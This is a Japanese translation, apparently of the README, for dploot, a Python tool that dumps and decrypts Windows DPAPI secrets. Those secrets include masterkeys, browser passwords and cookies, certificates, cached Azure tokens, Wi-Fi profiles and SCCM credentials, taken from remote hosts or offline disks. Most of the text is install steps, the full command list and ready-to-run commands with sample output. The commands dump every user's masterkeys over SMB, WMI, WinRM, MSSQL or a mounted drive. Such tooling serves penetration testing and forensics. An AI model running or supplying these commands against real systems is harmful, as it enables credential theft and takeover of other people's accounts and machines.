
Windows DPAPIのシークレットをリモートまたはオフラインで取得・復号します。マスターキー、資格情報、Vault、証明書、ブラウザデータ、キャッシュされたAzureトークンなどが含まれます。
dploot は、Harmj0y によって C# で書かれた SharpDPAPI の Python による書き直し版であり、SharpDPAPI 自体は gentilkiwi による Mimikatz の DPAPI を移植したものです。これらのツールの DPAPI ロジックをすべて実装していますが、今回は Python インタプリタおよび Linux 環境から使用できます。
DPAPI とは何かご存じない場合は、こちらの記事を確認してください。
dploot は pipx を使用して PyPI から直接インストールできます:
pipx install git+https://github.com/zblurx/dploot.git
または
pipx install dploot
Kali Linuxでは、リポジトリからdplootをインストールできます:
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot v4.0.0+ はリモートアクセス用に複数のネットワークプロトコルをサポートしています。プロトコルは --protocol <protocol_name> で選択します。各プロトコルには異なる機能と要件があります:
WMI プロトコルを使用した例:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
ローカルプロトコルを使用した例(オフラインのファイルシステム):
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
コマンドサポートに関する重要な注意事項:
backupkey は SMB プロトコルでのみ動作します(ドメインコントローラーへのアクセスが必要です)。--dpapi-system-key を使用して自分で用意する必要があります。dploot は smb、wmi、mssql プロトコルで Kerberos 認証を行うことができます。NTLM フォールバック付きで Kerberos を有効にするには -k を使用します。キャッシュされたチケットを使用する場合は --use-kcache を使用します。AES キーを使用する場合は --aesKey を使用します。
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
dploot の目的は、Linux マシンからの DPAPI 関連の情報収集を簡素化することです。このツールの使用方法は、アクセスレベルとターゲットの構成によって異なります。
デフォルトのプロトコルは SMB です。これは DPAPI の情報収集において最も一般的なアプローチであり、標準的な Windows ファイル共有で動作します:
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
WMI はリモートアクセスのための SMB の代替手段を提供し、SMB が制限されている場合に有用です:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
WinRM は代替プロトコルとして使用できます:
$ dploot masterkeys --protocol winrm -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 5985
ターゲットにアクセス可能な認証情報を持つ MSSQL がある場合、MSSQL プロトコルを使用できます:
$ dploot masterkeys --protocol mssql -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 1433 --db-auth
DPAPI シークレットにアクセスする別の方法として、直接ファイルシステムにアクセスする方法があります。たとえば、物理的にアクセスしてドライブを抽出し、解析マシン上でファイルシステムをマウントする方法です。このモードを使用するには、--protocol local を指定します。デフォルトでは、対象のファイルシステムはカレントディレクトリにあると想定されますが、--root で別のパスを指定できます:
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
[*] Reading /mnt/c_drive
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22